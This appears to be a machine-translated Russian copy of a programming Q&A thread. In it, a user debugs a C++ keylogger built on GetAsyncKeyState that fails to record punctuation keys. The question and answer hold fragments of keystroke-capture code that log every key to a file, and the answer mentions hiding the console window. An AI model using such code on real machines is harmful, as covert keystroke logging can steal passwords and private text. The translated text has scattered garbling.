Не удается захватить специальные ключи в кейлоггере C / C ++, используя GetAsyncKeyState - PullRequest
1 голос
/ 28 марта 2020

Я написал небольшой регистратор клавиш на C / C ++ с намерением фиксировать все нажатые клавиши. Однако я не могу захватить некоторые специальные ключи, такие как ; : [] \ /? "'.

Давайте рассмотрим, хочу ли я получить ключ ; или : . В настоящее время у меня есть следующий фрагмент кода в бесконечном l oop:

if (GetAsyncKeyState(0xBA) == -32767)
    {
        //the statements inside the if clause are not executed when the key is pressed
        std::ofstream write("Record.txt", ios::app);
        if (GetAsyncKeyState(0x10))
            write << ":";
        else
            write << ";";

    }

, где 0x10 - это код виртуального ключа «SHIFT» (VK_SHIFT), а VK_OEM_1 (0xBA) - это виртуальный ключ для ; , как описано в Документах Microsoft. : https://docs.microsoft.com/en-us/windows/win32/inputdev/virtual-key-codes.

Насколько я понимаю, функция GetAsyncKeyState возвращает -32767 после только что отпущенной клавиши.

Приведенный выше код работает для других виртуальные клавиши или простые клавиши, как описано в таблице ASCII (например, GetAsyncKeyState(48) работает для клавиши 0 , GetAsyncKeyState(VK_RETURN) работает для клавиши ENTER и т. д.

Я уже пытался ввести следующие аргументы для функции GetAsyncKeyState:

  1. Код ASCII для '; ', то есть 59
  2. Символ ';'
  3. VK_OEM_1 - виртуальный ключ
  4. 0xBA - значение ключа виртуала в шестнадцатеричном формате
  5. 186, как я нашел здесь: https://www.amibroker.com/guide/afl/getasynckeystate.html* 104 6 *.

Ни один из аргументов не заставляет функцию возвращать -32767 при нажатии клавиши '; '.

Есть ли у вас какие-либо представления о том, как я должен это делать? использовать эту функцию для захвата этого ключа и, следовательно, всех других ключей, которые не были захвачены моим подходом ( [] \ /? "'. )?

PS: Я использую стандартную раскладку клавиатуры Engli sh (US).

Заранее спасибо!

1 Ответ

0 голосов
/ 29 марта 2020

Я нашел решение. Похоже, Visual Studio сходит с ума, когда вы прячете консоль от экрана (как будто вы что-то меняете в коде, но при повторном запуске приложения изменения не распространяются).

Однако я хочу поделиться с вами некоторыми возможными ошибками, которые могут привести к ошибке, с которой я столкнулся:

  1. Если вы используете переменную char для хранения кода ASCII, для некоторых ключей она может превышать максимальную char, поэтому я предлагаю использовать unsigned char или int.
  2. Если вы планируете перебирать список всех возможных кодов ASCII, попробуйте перейти к размеру расширенной таблицы ASCII. Не ограничивайтесь стандартным.

Вот соответствующий фрагмент кода относительно проблемы, которая может вам помочь:

int main()
{
    while (1){
    for (unsigned char i = 0; i < 255; i++){
            if (GetAsyncKeyState(i) == -32767) {
                if (i == VK_OEM_1) {
                    cout << ";";
                }
            }

        // ....
    }
}

}

...